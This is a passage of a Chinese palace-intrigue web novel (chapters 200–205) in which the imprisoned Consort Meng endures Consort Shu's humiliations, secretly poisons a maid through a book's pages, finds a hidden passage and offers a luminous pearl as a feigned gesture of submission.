谢妤将青丝攥在掌心,眼中一转:“待会儿晚膳,皇上若来,我自有安排,你只管遵照我的指示行事。”
“是。”红豆俯首,“不过,娘娘,若皇上识破……”
“他不会的。”谢妤冷笑一声,指尖轻轻摩挲着那缕青丝,“陛下对我,绝不会那么狠心。”
这一日晚膳,墨司渊果然驾临朝露宫。
第200章 多疑
谢妤早已备好膳食,亲自斟了一杯香茗递到墨司渊手中。
“皇上今日能来,妾身不胜欢喜。”谢妤嗓音轻柔,眼中盈盈含泪,“只是身子不适,难以尽心服侍。”
墨司渊接过茶盏,淡淡道:“朕听闻你近日病情加重,特来探看。”
“多谢皇上关怀。”谢妤欣喜应声,随即掩唇轻咳。
席间,谢妤小口啜饮,不时抬眸望向墨司渊。
待用膳过半,她突然捂住胸口,面露痛苦之色。
“娘娘!”红豆惊呼上前。
谢妤摇晃几下,口中涌出鲜血,顿时惊动了墨司渊。
他扔下筷子,起身欲扶。
“来人!传太医!”墨司渊沉声道。
谢妤虚弱地靠在红豆怀中,手中紧攥着那缕青丝,眼眶泛红。
“皇上,”她气若游丝,缓缓开口,“妾身无碍……”
“别说话,太医很快就到。”墨司渊眉头紧锁。
看到墨司渊略显焦急的神色,谢妤心中暗喜,却佯装虚弱地松开手,那缕青丝随即滑落。
墨司渊眼疾手快捡起,仔细查看,面色渐沉。
“这是……”
谢妤半眯着眼,似是无意识呓语:“孟贵妃她仍在帮我。”
“什么?”墨司渊眸色一变。
红豆忙道:“回皇上,娘娘这病忽重忽轻,多亏孟贵妃托人送来特制的药丸。”
谢妤虚弱地接过话茬。
“孟贵妃虽被禁足,仍托人送药救我,”她咳嗽几声,“妾身听说她身上有伤……她毕竟救了我一命,终究是一宫姐妹,臣妾心疼她。”
墨司渊目光闪烁,沉默片刻:“她如何知道你病情?”
“是……妾身托人传信。”谢妤声若蚊蝇,“她近日被囚,还身负伤痛,却不计前嫌制药相助,此情着实让臣妾感动。”
太医匆匆赶至,为谢妤诊脉开方。
谢妤装作昏迷,实则竖起耳朵聆听墨司渊的反应。
“皇上,娘娘气血两虚,需静养调理。”太医恭敬禀报。
墨司渊凝视谢妤苍白的面容,又看了看手中那缕青丝,眉头渐渐舒展。
“周海。”
“奴才在。”周海躬身应道。
“去苔蘅殿,将孟贵妃带出来,允许她制药救治谢贵妃。”墨司渊思索片刻,又道,“也让云珠回宫陪伴她,但仍需严加看守,脚镣也不许摘下。”
“皇上!这……”周海惊愕抬头。
“朕自有考量。”墨司渊眼中闪过一丝复杂情绪,“去吧。”
周海匆匆赶往苔蘅殿,脚步带着丝丝急切。
“周公公来了。”侍卫行礼,解开苔蘅殿的重重禁令。
阿孟正倚在窗前,月光映照她消瘦的脸颊。闻声转头,她眼中闪过一丝谨慎。
“孟贵妃,皇上有旨,解除您的禁足,准许您制药救治谢贵妃。”周海行过礼,声音平缓。
阿孟面露微讶,嘴角却不自觉上扬,眸中掠过一抹精光。
“多谢皇上恩典。”她微微颔首,声音柔和却不卑不亢,“不知奴婢的云珠可否也能接回来?她身染重病,恐怕在慎刑司难以痊愈。”
周海略一沉吟,道:“皇上已下令释放云珠,可随贵妃一同回宫。但皇上有言,贵妃仍需佩戴脚镣,不得擅自行动。”
“能见到云珠,脚镣又算得了什么?”阿孟轻笑一声,眼中却掠过一丝锐利。
夜已深沉,阿孟踏着月光,脚镣碰撞,清脆作响。
一路向慎刑司行去,周海在侧随行。
慎刑司牢门打开,云珠憔悴的身影映入眼帘,阿孟心如刀绞。
“娘娘……”云珠气若游丝,苍白的小脸上绽放出微弱的笑容。
“别说话,我带你回去。”阿孟咬紧牙关,转向周海,“麻烦周公公帮忙,云珠已无力行走。”
“皇命所在,自当效劳。”周海挥手唤来两名侍卫,小心翼翼将云珠抬上软轿。
回到苔蘅殿,阿孟亲自为云珠安置床榻,又命人取来清水为她擦拭。
“多谢周公公相助,回头我定制些安神丸相赠。”阿孟含笑道谢。
周海微微点头:“贵妃客气,皇上之命,奴才不敢怠慢。”
说罢,他深深看了一眼阿孟,施礼退下。
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待周海离去,殿门紧闭,阿孟方如释重负般瘫坐在床边。
那温柔小心的模样转瞬即逝,取而代之是深深的忧虑与决然。
“我得抓紧时间了。”她翻开药箱,取出数种珍贵药材,开始研磨煎制。
夜风吹进窗棂,烛火摇曳。
整整一夜,阿孟不曾合眼,只为云珠细心调制良药。
“这药虽苦,但能立刻吊起你的精神。”她时不时为昏睡的云珠擦去额头冷汗,眼里满是心疼。
天色微明,云珠轻轻睁开双眼,见到阿孟的脸庞,泪水顿时涌出。
“娘娘……真的是您吗?”云珠声音微颤,伸手想要触碰阿孟。
“傻孩子,我在这儿。”阿孟握住她的手,声音柔软得不似平日,“我回来了,以后再也不会让你受苦了。”
云珠支撑着坐起,眼神绝望地落在阿孟脚上的镣铐上。
“娘娘,您……您还是被囚禁着。”她泣不成声,“都是奴婢无用,没能在冷宫扮好角色,连累了您。”
“不许这么说。”阿孟轻抚她的发丝,眼中闪过一抹坚定,“这算什么?只要有命在,就有东山再起的一日。云珠,你专心养病便是,其他事情交给我。”
云珠抽泣着点头:“奴婢定不会再让娘娘担心。”
阿孟轻笑:“好孩子。”她起身熬了一碗药汤,“趁热喝下,你好好休息,我有些事要处理。”
次日清晨,淑妃得知阿孟被释放的消息,眉头紧蹙。
“她竟能获准离开苔蘅殿?”淑妃冷笑一声,吩咐左右,“去,请孟贵妃今午来花园赏牡丹。”
“是,娘娘。”宫女领命,立刻退下。
很快,淑妃的话传入苔蘅殿,阿孟接到邀请,若有所思。
“看来淑妃心生疑虑了。”她微眯双眼,对着铜镜整理衣襟,“既如此,我就以礼相待。”
牡丹园中,淑妃早已等候。
见阿孟到来,佯装热情迎上。
“孟贵妃来了。”淑妃掩唇轻笑,“听闻你昨夜已回苔蘅殿,臣妾特意备下花宴,与你共赏这满园春色。”
第201章 显露本领
阿孟心中忍不住冷笑,没想到淑妃态度转变的如此之快,此前还在自己面前自称本宫,如今便记得妃嫔之间位分差距,重新自称起了臣妾。
阿孟行礼致谢,却没忘伪装:“淑妃娘娘盛情,妾身感激不尽。”
二人落座,酒过三巡,淑妃突然盯着阿孟的右袖,面色一变。
“孟贵妃,你袖中是何物?似乎有香灰痕迹。”淑妃冷声质问,竟然信口胡诌,“莫非是……巫蛊之物?”
四下侍女惊呼后退,阿孟面不改色,反而露出一丝凄凉笑意。
原来是在这里等着她。
“淑妃娘娘何出此言?”
她二话不说,干脆利落撩起右袖,露出手臂上触目惊心的烧伤疤痕,根本没给淑妃多发挥的机会。
“臣妾浑身是伤,连这疤痕都是皇上所见如何造成,又被困宫中许久不得出宫,岂敢用巫蛊冒犯天威?”
淑妃看着那狰狞伤痕,一时语塞。
阿孟苦笑着,声音中带着冷意:“娘娘若是怀疑,大可请御医检查。臣妾无处可逃,何必自寻死路?”
“不……本宫只是一时疑心。”淑妃讪讪收回目光,心知自己此计已失。
阿孟低头整理衣袖,眼中闪过一抹冷光。“臣妾明白,宫中多事,娘娘也是为自保。”
一旁的宫女窃窃私语,惊叹于阿孟遍体鳞伤却被如此对待。
一袭轻风拂过,牡丹摇曳。
正说着,一道尊贵身影在花丛后现身,淑妃瞬间眼波流转,姿态婀娜起来。
“皇上驾临,妾身有失远迎。”淑妃起身福礼,声音如蜜。
墨司渊缓步向前,目光在二人身上停留片刻:“免礼。”
阿孟悄然退开半步,面露恭敬,心中却暗自警觉。
她知道,淑妃怕是要在皇帝面前做文章了。
淑妃轻笑着挽上墨司渊的手臂:“皇上今日怎么想起来赏花了?妾身正与孟贵妃闲话家常呢。”
“朕路过,听闻你设宴,便来瞧瞧。”墨司渊淡淡道。
淑妃眼波一转,忽然道:“既然皇上驾到,不如让孟贵妃侍奉一旁。”
她语气中满含嘲讽:“毕竟孟贵妃曾深受皇上圣心,想必比妾身更懂皇上心意。”
阿孟垂眸不语,只是微微颔首表示听命。
三人缓步赏花,淑妃处处找机会挑衅。
行至一处泉水旁,阿孟不慎靠近淑妃,手肘轻轻擦过她的鬓角。
“啊!”淑妃突然尖叫。
只见一支红宝石簪子从她发间滚落,直直滚到墨司渊脚边。
淑妃面色骤变,急忙弯腰拾起。
“皇上!”淑妃声泪俱下,“这是您赐妾身的宝簪,孟贵妃故意弄落,分明是在诅咒本宫!”
墨司渊没有立即应声,只是凝视着那支簪子,眼神莫测。
“皇上,这簪子乃是象征皇恩,她如此行事,是大不敬啊!”淑妃紧紧攥着簪子,咬牙切齿。
阿孟心知这是淑妃设的局,当下不慌不忙跪地:“臣妾失手冒犯,实属无意,愿意三日不食谢罪。”
这一跪,倒让墨司渊皱起眉头。
他目光落在阿孟脚上的镣铐上,眼中闪过一丝难以察觉的痛楚。
“起来。”墨司渊伸手扶起阿孟,“不过失手之事,何必如此。”
淑妃见状,眼中怒火更盛:“皇上!她分明是故意为之!”
“淑妃。”墨司渊声音冷了几分,“朕自有判断。”
“难道皇上竟要为这个囚徒说话吗?”淑妃忍不住反驳,随即又意识到失态,连忙垂泪,“妾身只是心痛皇上赐物被毁……”
墨司渊看了看阿孟苍白的脸色,想到她刚从苔蘅殿释放不久,心中不知何故竟升起一丝怜惜。
可见阿孟不理会自己,甚至谢谢都不曾有,墨司渊又难免气急。
“这簪子朕再赐你一支便是,你若是心中实在不快,私下同孟贵妃好好说道,叫她赔给你一只。”墨司渊淡淡道,“花宴已毕,朕还有政务,先行告退。”
说罢,墨司渊转身离去,留下淑妃在原地气得发抖。
“娘娘息怒。”宫女连忙劝道。
“闭嘴!”淑妃一巴掌抽在宫女脸上,“你不过一个受人唾弃,空有贵妃之位的**罢了,也敢与本宫争宠?”
阿孟站在一旁,眼底暗藏锋芒:“淑妃娘娘言重
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了,臣妾何德何能,敢与娘娘相比,何况,不是娘娘您让我去侍奉皇上的么?”
“别以为皇上方才护着你,你就能翻身!”淑妃咬牙切齿,哪里还记得是她主动让阿孟来自己麾下,“本宫今日就让你知道,谁才是凤凡之别!”
暴雨骤至,淑妃命人将阿孟拖至露天庭院。
“跪下!”淑妃冷笑,“毁坏皇赐之物,罪当如此。跪在这,诵读《女诫》全文,否则休想回去!”
一旁宫女小声道:“娘娘,孟贵妃毕竟身份尊贵,若皇上知晓……”
“啪!”淑妃又是一巴掌,“你是在质疑本宫的决定?”
“奴婢不敢……”宫女连忙跪地求饶。
淑妃冷笑:“贵妃又如何?不受宠的贵妃,不过是个**囚徒!还敢当着本宫的面勾引皇上,简直不知死活!皇上说了,本宫可以私底下与孟贵妃说道说道!”
阿孟跪下,但她眼中却无半分示弱。
但她眼中却无半分示弱。
雨水打湿衣衫,阿孟顺从跪坐,双膝抵在冰冷的青石地面。
她面无表情地翻开淑妃扔来的《女诫》,指尖轻轻在书页之间流连。
“念吧,贱婢!”淑妃冷笑道,“你该心里清楚,是本宫让你能在皇上面前有露脸的机会,别不识抬举试图越过本宫!”
阿孟垂首,佯装顺从,实则眼中寒芒微闪。
她握书的手指微微抖动,似是寒冷所致,却在无人注意间,从袖中暗藏的小瓶中抖出几粒细如尘埃的粉末,落在书页湿润处。
“臣妾遵命。”阿孟嗓音清冷,开始诵读,雨水顺着她青丝滑落,打湿书页。
淑妃身边的另一位侍女碧玉站在娘娘身侧,傲慢地望着跪在院中孟贵妃,唇角勾起一抹讥讽。
她微微俯身,靠近淑妃耳边低语:“娘娘,这下她可知道您的厉害了。”
碧玉忽觉喉间一阵异痒,不自觉地深吸一口气,却不知晓这一呼吸已让她吸入了书页上的毒粉。
片刻后,碧玉面色骤变,捂住喉咙,身子一晃,直直倒地。
“碧玉!”淑妃惊呼,连忙上前搀扶,“你这是怎么了?”
第202章 恶毒心思
太医赶到后,立刻为碧玉诊治,经过一番检查,面色凝重地说:“碧玉姑娘这是**,需立即解毒,否则性命堪忧。”
淑妃听罢,脸色瞬间变得苍白,怒火中烧,转头怒视阿孟:“你这个**,竟敢在本宫面前下毒!碧玉是本宫的心腹,你居然如此狠毒!”
阿孟面无表情,冷冷回应:“淑妃娘娘,碧玉的毒是从哪里来的,想必太医也能查出个所以然。那本《女诫》分明是从淑妃宫中所得,自己哪有机会提前下毒?”
“你说什么?你竟敢反咬本宫一口!”淑妃气得面色发白,声音尖锐,“你以为本宫会相信你的话?你不过是个囚徒,连自保都难,怎敢在本宫面前如此放肆!”
说完,淑妃抬手就要打阿孟一巴掌
阿孟不为所动,眼中闪过一丝冷光,眼疾手快握住淑妃的手腕,力气大到让她无法挣脱。
眼见淑妃瞳孔微颤,气得胸口剧烈起伏,阿孟才道:“我相信淑妃娘娘不是有意想要陷害我。若有不实之言,太医就在跟前,有他为证,大可以请皇上过来瞧瞧,皇上一定会公正严明,绝不徇私。”
“你……”淑妃一时语塞,心中暗想,若是皇上知道自己私下对阿孟如此用刑,恐怕会损害自己在皇上心中的形象。
她心中惶恐,强装镇定:“你以为皇上会相信你吗?你不过是个被禁足的贱妃,谁会在意你的话!”
阿孟微微一笑,语气平静:“淑妃娘娘,您若不想皇上知道您的所作所为,倒不如让太医先行解毒,毕竟这才是正事。”
淑妃心中暗恼,却也无可奈何,咬牙切齿道:“好,本宫先不与你计较,太医先行解毒。可若是查出是你下的毒,定要让你付出代价!”
太医忙着为碧玉解毒,阿孟则静静站在一旁,心中暗自思忖。
淑妃见状,心中愈发不安,转过身来,冷冷地盯着阿孟:“你这**,若是本宫知道你在暗中做什么,定不会放过你!”
阿孟淡淡一笑:“淑妃娘娘,您何必如此紧张?我不过是想活下去,您若能给我一个公道,我自然会对您言听计从。”
“哼,你以为我会相信你吗?”淑妃冷哼一声,心中却愈发忌惮阿孟的聪明与果敢,“你不过是个被禁的贵妃,如何能与本宫抗衡?”
“我只是在为自己的命而战,淑妃娘娘,您若想保住自己的地位,也该考虑与我合作。”阿孟的声音如同春风,轻柔却带着一丝威胁。
此时,太医终于为碧玉解毒,缓缓说道:“若是再晚一步,恐怕性命难保。”
淑妃心中一紧,面上却不敢表现出来,阿孟擅长医术,倘若把她逼急了,就怕她让自己也性命不保。
方才那本书的的确确是她所给,她实在不解,众目睽睽之下,阿孟什么时候下的毒?!
“出去跪着吧,你如此放肆,若是不惩治你,本宫也对不起**的碧玉!”
思索良久,淑妃才这般开口。
纵使自己心中有千般万般恨意,可阿孟的位份摆在这里,自己终究只是普通嫔妃,总不能真的将贵妃逼上死路。
可有皇上授意,稍稍折磨一番却并非难事,为了泄愤,也只能做到这个份上。
“来人呐,把孟贵妃给我架出去!”
说完,淑妃对着身边的太监们使了眼色,可太监们眼睁睁看着碧玉**,哪里敢有所动作?
眼见他们面面相觑,却又胆小如鼠的模样,淑妃气急,怒斥众人:“你们这帮废物,连本宫的话也敢不听?当心我告诉皇上,让他摘了你们的脑袋!”
阿孟站在一旁,见众人始终没有反应,索性行了个礼,自己出去?
“不必劳烦,淑妃娘娘,他们在你宫中也不易,不必让他们拿性命来赌,我自己出去就是。”
阿孟跪在露天庭院中,雨水打湿了她的衣衫,冷风刺骨,浑身颤抖。
淑妃站在一旁,冷冷地看着她,心中暗自得意。
“让你知道本宫的厉害!”淑妃冷笑道
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,语气中满是得意,“你以为你是谁?不过是个被禁足的贱妃罢了,竟敢在本宫面前放肆!”
阿孟咬紧牙关,心中却不屈:“淑妃娘娘,您若想要我跪下,何不先问问我是否愿意?”
“你敢不愿意?”淑妃怒火中烧,眼中闪烁着狠厉的光芒,“你不过是个囚徒,连自保都难,竟敢在本宫面前如此放肆!”
“我不过是想活下去,淑妃娘娘,您若能给我一个公道,我自然会对您言听计从。”阿孟的声音冷静而坚定,眼中闪过一丝不屈的光芒。
就在此时,外面突然下起了大雨,淋湿了阿孟的发丝和衣衫。她却依然跪在地上,毫不退缩。淑妃见状,心中暗自得意,冷冷说道:“继续跪着,别让本宫失望!”
“我不怕!”阿孟抬起头,直视淑妃,声音坚定,“我会一直坚持下去,直到您给我一个公道!”
淑妃怒火中烧,心中却有些忌惮:“你这贱婢,竟敢如此不知死活!”
此时,云珠听闻阿孟的遭遇,心急如焚,不顾伤势匆匆赶来。
她见阿孟在雨中狼狈不堪,心中疼惜,急声说道:“主子,您怎么会受这样的苦?”
“云珠,你快走,不要惹上麻烦。”阿孟低声劝道,心中却暗自感动。
“我不走!”云珠咬牙切齿,愤怒地看向淑妃,“淑妃娘娘,您何必如此对待孟贵妃?她是贵妃,您这样做只会让人笑话!”
淑妃冷冷一笑:“笑话?你不过是个**的奴婢,竟敢在本宫面前多嘴!再敢多言,我就把你扔到乱葬岗去!”
阿孟心中暗自焦急,微微咬牙,强忍着心中的怒火,低声说道:“云珠,你快回去,我自有我的办法,绝不会这样轻易受人约束。”
“不,我绝不离开!”云珠坚定地站在阿孟身旁,眼中满是坚定,“我不会让您一个人受苦!”
淑妃见状,心中愈发愤怒:“你们这两个贱婢,真是让人厌恶!来人,把她们都拖出去!”
第203章 隐忍反击
阿孟眼看云珠被辱骂,心头怒火翻涌,却被理智强压下去。她深知此刻若冲动行事,只会让局面更加难堪。
腰背笔直如竹,眼角余光却瞥向面色苍白的云珠,心头一阵刺痛。
“淑妃娘娘,”阿孟忽地屈膝下跪,声音低沉而柔和,与平日里的凌厉判若两人,“我甘愿受罚,只求娘娘看在云珠身子未愈的份上,放她回去休养。”
淑妃眼中闪过一丝诧异,随即扬起下巴,轻蔑地俯视着阿孟:“怎么,堂堂贵妃竟然向本宫求情?你不是一向高高在上吗?”
“娘娘明鉴,”阿孟双手抵地,额头几乎触到湿冷的石板,“云珠身子弱,经不起风雨吹打。若有什么不满,我愿一人承担。”
“主子……”云珠急得泪水盈眶,想要上前又被侍女拦住。
淑妃得意地环视四周,见众人目光都集中在自己身上,更是心中暗喜。
所能真的让阿孟臣服自己,往后她的威望也能随之水涨船高。
她悠然踱步至阿孟面前,故意提高声音:“你可愿做任何事来换取本宫的宽恕?”
“愿意。”阿孟声音平静,却暗中收紧了指节。
淑妃终于大笑起来,那笑声中满是得意与轻蔑:“看来骄傲的孟贵妃也有低头的时候!好,本宫暂且放过你这丫鬟,不过你,”她伸出手指点向阿孟,“继续跪在这雨中,直到我说够为止!”
云珠被允许离开,却怎么也不肯走,最终在阿孟严厉的目光下,被两名宫女半扶半抱着带离了淑妃的宫殿。
雨水顺着阿孟的发丝滑落,浸透了衣衫,寒意渗入骨髓。
她一动不动地跪着,眼神坚定如铁。
淑妃看了片刻,见她毫无求饶之意,轻哼一声转身离去。
回到苔蘅殿,阿孟换下湿透的衣裳,见云珠在榻边等候,眼睛红肿,两行泪痕未干。
“主子,您……”云珠哽咽着上前,轻轻替阿孟擦拭湿发,“您何必为了奴婢如此委屈自己?那淑妃心狠手辣,您不该为了奴婢向她低头。”
“傻孩子,”阿孟握住云珠的手,眼中闪过一丝温和,“我所做的一切都有计划,这不过是暂时的隐忍罢了。淑妃以为我服软,恰恰给了我更多空间。”
云珠低头看着阿孟脚上的镣铐,心如刀绞:“可是主子,这样下去何时是尽头?您已经受了这么多苦……”
阿孟静静望向窗外的雨幕,眼底浮现出一丝冷冽的笑意:“树欲静而风不止,是她非要与我为敌。待时机成熟,云珠,你且看着,她会为今日所作所为付出代价。”
“主子,我怕您太拼命,”云珠忍不住哭出声来,“奴婢实在不忍心看您一人面对这些……”
“你若担心我,”阿孟轻轻拭去云珠脸上的泪水,“就好好调养身子,别让我分心。记住,在宫中,看似的低头,往往是为了更好地抬头。”
“奴婢明白,”云珠紧紧握住阿孟的手,声音坚定起来,“主子放心,奴婢一定好好养病,绝不让您担忧。只是……”她犹豫片刻,“主子为何不肯向皇上求情?哪怕是装一装……”
阿孟眼神一冷:“我若是低头,便永无抬头之日。墨司渊待我如此,我求他作甚?与其求人,不如靠自己。”
“主子说得是。”云珠点点头,眼中闪过崇敬的光芒,“奴婢相信,总有一天,所有人都会为自己的所作所为付出代价。”
雨声渐歇,室内烛火摇曳。
主仆二人相对而坐,无需多言,心照不宣。
“你在此处先等着,我去准备些热水,”阿孟轻声吩咐,“今晚要熬些药,你的身子还需恢复”
“不如还是我去吧,娘娘,您已受了够多的苦,就让我来……”
“不打紧,你我二人哪里是什么主仆?经历这么多之后,早已犹如亲人一般。”
听到这话,云珠也不再阻拦,就坐在这里乖乖等着阿孟端热水回来。
点火煎药之后,阿孟思索片刻道:“淑妃近来行事愈发嚣张,若要在宫中立足,怕是要先与她周旋一番。”
“主
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子是想与那淑妃和解?”云珠大惊,急道,“那女人心如蛇蝎,主子万万不可轻信她!”
阿孟淡淡一笑:“谁说我要真心与她和解?不过是虚与委蛇罢了。”她起身走到案前,翻看先前收集的各类消息,“淑妃一心想登后位,我们便从这点入手。”
云珠好奇靠近:“主子有何打算?”
“近些日子以来,我注意到淑妃对奇珍异宝极为喜爱,那些皇上收走的宝物,她都日日带在身上,就是为了压我一头,让众人对她敬畏。”阿孟指向信笺上的记录,眼中闪过精明光芒,“我探听到西域有颗夜明珠,那珠子据说能在夜间散发奇异光芒,助人安神。”
“主子是想用这珠子讨好淑妃?”云珠惊讶道,随即皱眉,“可主子被困宫中许久,如何能寻得此物?”
阿孟轻轻一笑:“宫中消息闭塞,但城中未必如此。我已托御膳房的小太监四处寻访,或许能寻得线索。”
云珠不解:“主子为何要讨好那恶毒的女人?她今日还如此折辱主子……”
“云珠,”阿孟放下手中信笺,神色坚定,“在这皇宫之中,敌暗我明,若不先稳住她,只怕连喘息之机都没有。淑妃心性贪婪,得了宝物必然喜不自禁,到时我们才能有周旋余地。”
“主子果然心思缜密。”云珠敬佩道,却仍有疑虑,“只是这样做,会不会让淑妃更加得势?”
阿孟冷冷一笑:“我可不是真心投诚。此举不过是麻痹她的警惕,让她以为我已被她驯服。骄兵必败,待她放松警惕时,才是我们反击之机。”
“主子……”云珠担忧地看着阿孟苍白的脸色,“您的身子……”
“无妨。”阿孟挥挥手,走到药炉旁,亲自添了把火。
阿孟转头看向云珠,轻轻用自己的双手捧着她的脸,柔声开口:“不是能不能,而是必须如此。淑妃也好,墨司渊也罢,谁也别想让我永远低头。今日的**,他日必将十倍奉还。”
药香袅袅,暗室生寒。
第204章 宫中密道
次日清晨,阿孟早早起身,整理好衣衫便往淑妃宫中赶去。
她脚踝上的铁链随走动发出清脆的声响,却丝毫不影响她举步轻盈的姿态。
淑妃见她如约而至,眼中闪过一丝诧异,旋即又冷笑一声:“孟贵妃倒是守时。本宫还以为你会借故推脱呢。”
“臣妾答应的事,自当尽力而为。”阿孟微低着头,声音平稳而恭敬。
淑妃斜睨了她一眼,忽然拍了拍手:“今日本宫有一项特别的任务给你。”
她扬起下巴,指向宫殿最偏僻的西角。
“那处已许久无人打扫,积灰甚厚,想必一位贵妃是不屑做这等粗活的。不过,”她故意停顿,嘴角挂着讥讽,“你现在不过是个囚徒,贵妃之名恐怕也只是个空壳罢了。”
阿孟并未因这刻意的羞辱而显露半分愠色,只是轻轻应道:“淑妃娘娘吩咐,臣妾遵命。”
她接过宫女递来的扫帚与抹布,不动声色地走向那最阴暗肮脏的角落。
阿孟动作利落地挽起袖子,丝毫不顾及自己的贵妃身份,俯身开始清扫。
“娘娘,您瞧她那副样子,哪有半点贵妃的矜贵?”碧玉已经好转,站在淑妃身后小声道,仍对昨日之事耿耿于怀。
“她自甘堕落,倒也省了本宫费心思了。”淑妃冷笑,用扇子遮住半边脸,“不过是披着贵妃皮的贱奴才,徒有虚名罢了。”
阿孟充耳不闻,专心致志地清理着积年的尘垢和蛛网。
她手法娴熟,如同常年做这等粗活一般。
平日里,宫中伺候的丫鬟哪敢让贵妃弄脏手,但阿孟此前在军营生活多年,又何曾怕过这点粗活?
她甚至在擦拭墙角时,还顺手为破损的木板加固了一番。
淑妃远远望着,渐渐有些不耐:“这贱婢竟这般不知羞耻,本以为她会心生怨恨,没想到如此顺从。”
“娘娘,您看她擦得多认真。”一旁的宫女低声道,“连那些最脏的地方也丝毫不嫌弃。”
“本宫自然知晓。”淑妃冷哼,心中却升起一丝不安,“你们几个,给本宫盯紧了她,别让她在宫中乱走。”
日头西斜,阿孟终于将偏僻角落打扫得一尘不染。
她直起身来,擦去额头的汗珠,转身向淑妃行礼:“淑妃娘娘,臣妾已将西角打扫完毕,请娘娘过目。”
淑妃微感诧异,没想到阿孟竟能如此迅速且彻底地完成任务。
她缓步走去查看,竟找不出半点瑕疵。
“没想到堂堂贵妃还有这等手艺。”淑妃讥讽道,眼中却莫名有些恼怒。
她想看阿孟气急败坏,谁料却如同一拳打在棉花上一般,阿孟不为所动也就罢了,竟还这般尽心尽力。
阿孟不紧不慢地回道:“宫中生活讲究洁净,臣妾自当尽心。若娘娘还有其他吩咐,臣妾定当尽力而为。”
淑妃微微蹙眉:“你这是何意?巴结本宫?”
“臣妾只是尽己所能,做好分内之事。”阿孟语气平和,目光却坚定,“这宫中藏污纳垢,臣妾早已看惯,不过是些尘土罢了,何足挂齿?”
淑妃听出她话中有话,眼神陡然锐利:“你这话是何意?”
阿孟垂下眼帘,掩饰眼中的寒光:“臣妾只是感叹宫中角落太多,若有机会,定当替娘娘一一打扫干净。”
“哼,本宫不需要你假惺惺的好意。”淑妃冷哼一声,却又莫名有些心虚,“你且去南廊继续打扫,那里更是年久失修。”
“是,臣妾遵命。”阿孟欠身行礼,脸上带着恭顺的笑意,眼底却闪过一丝算计。她转身走向南廊,步伐平稳如常。
淑妃望着她的背影,不知为何心中升起一丝不安。
阿孟边走边在心中盘算着计划的下一步。
表面上的顺从只是麻痹敌人的手段,她已在打扫时暗中观察了淑妃宫中布局,为日后行动做足准备。
“这宫中污秽,总有一日要彻底清理。”阿孟轻声自语,拾起抹布。
打扫的过程中,她的目光不时扫过周围的墙壁,细心观察着每一个角落。
忽然,她的手一顿,发现了一条通往淑妃寝宫的秘密通道。
密道
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年久失修,尘埃覆盖,显然是前朝遗留的痕迹。
阿孟心中一动,意识到这条通道或许能在关键时刻发挥重要作用。
“这条路……”她低声自语,心中暗暗打量着通道的深邃与幽暗,思绪如潮水般涌来。
她轻轻走入通道,四周静谧无声,只有她的呼吸声在回荡。
阿孟心中暗想:“若能在关键时刻利用此道,或许能给淑妃致命一击。”
她仔细记住了通道的位置和路线,心中暗自得意。
随后,她在通道里留下了一些只有她和云珠能看懂的标记,确保日后的行动能够顺利进行。
数日暗中筹谋,阿孟寻得一条生机。
御膳房的小太监小六前来,阿孟正在院中晾晒药材。
听闻脚步声,她不动声色地放下手中竹篓。
“公公,可有消息?”
小太监左右看了看,压低声音道。
“贵妃所求之物,小的打听到了。”他凑近几分,“西市张家珠宝铺有一颗夜明珠,是西域商人带来的。那珠子通体雪白,却能在漆黑夜晚发出幽蓝光芒,宛如天上星辰坠入凡间。”
阿孟眼中一亮,却又蹙眉道:“张家珠宝铺?那家主人不是与皇上有些瓜葛?”
“贵妃果然消息灵通。”小六点头,“张家确与皇商有些往来,不过这次的珠子是他家小公子私下收来的,尚未进贡。若贵妃想要,倒是可以通过小的一位远房表哥出面。”
“价格几何?”
“五百两银子。”小六咽了口唾沫,“张家小公子爱财如命,若非如此,也不会冒险私藏此珠。”
阿孟冷笑一声:“这宫里的东西,总是名不副实。罢了,三白两便三百两,劳烦公公替我打点一二,剩下的事情我自会安排。”
“娘娘放心,小的一定办妥。”小六眼中闪过贪婪之色。
“这是一百两银票,算是定金。事成后,再有二百两赏钱。”阿孟从袖中取出银票,轻轻递给小六。
小太监欣喜接过,连连点头:“贵妃大气,小的定当尽心竭力。”
第205章 献宝设宴
三日后,小六果然送来了那颗夜明珠。
珠子用丝绸小心包裹,拿在手中沉甸甸的。
阿孟展开丝绸,珠子在阳光下散发着柔和的光芒,确是稀世珍宝。
夜明珠到手,阿孟不敢耽搁,立刻前往淑妃宫中。
她穿着简朴的衣衫,脚步轻快,眼中却藏着深不可测的算计。
淑妃正在拨弄一架新得的月琴,见阿孟前来,面上还带着几分嫌弃:“你来做什么?今日没什么活给你干。”
阿孟深深行了一礼,语气卑微:“回淑妃娘娘,臣妾有一件小物,想献给娘娘。”
“哦?”淑妃挑了挑眉,放下手中绢帕,“什么东西,拿来我瞧瞧。”
阿孟缓缓从袖中取出丝绸包裹,双手捧着,缓步上前:“臣妾前些日子听闻娘娘喜欢珍奇之物,恰巧得了这颗西域来的夜明珠,特来献给娘娘。”
淑妃闻言目光一闪,手指微微颤动,却强作镇定道:“夜明珠?你一个被禁足的贵妃,哪来的珍宝?”
阿孟恭敬地将丝绸展开:“臣妾在宫中多年,也有些积蓄。这珠子听说能在夜间发光,驱散黑暗,助人安眠。娘娘日理万机,夜晚想必也难免辗转反侧,臣妾想着或许能为娘娘解忧。”
淑妃接过珠子,放在掌心细细打量。
珠子温润如玉,即使在白日也泛着淡淡的荧光。
她眼中闪过惊喜,随即又警惕道:“你这是何意?难不成想用这区区珠子收买本宫?”
阿孟垂首道:“娘娘误会了。臣妾只是想表达一点心意。这段时日承蒙娘娘不弃,让臣妾在您宫中做事,也算有了安身之处。臣妾深知自己如今处境艰难,若无娘娘照拂,恐怕更是寸步难行。”
淑妃将珠子握在手中,冷冷道:“你这番话,本宫如何相信?”
阿孟抬头,目光坚定却又带着几分恳切:“娘娘明鉴,臣妾早已经跟娘娘表明心意,奈何娘娘总是不信臣妾,如今在这宫中,已是孤立无援。皇上对臣妾早已冷心,若不寻个靠山,臣妾如何自保?”
淑妃仔细端详着阿孟,似乎在判断她话语的真伪:“你既然识时务,倒也不是不可重用。只是这宫中人心叵测,本宫又如**你?”
阿孟苦笑一声:“臣妾若有二心,何必处心积虑讨娘娘欢心?这宫中谁不知道娘娘深得皇上宠爱,将来必当大有作为。”
淑妃听了这话,神色渐渐缓和,将夜明珠收入袖中:“既如此,本宫便暂且信你一回。日后若能继续表现,本宫自然不会亏待你。”
阿孟深深叩首:“谢娘娘恩典。臣妾必当尽心竭力,不负娘娘期望。”
淑妃挥了挥手:“行了,下去吧。改日再传召你。”
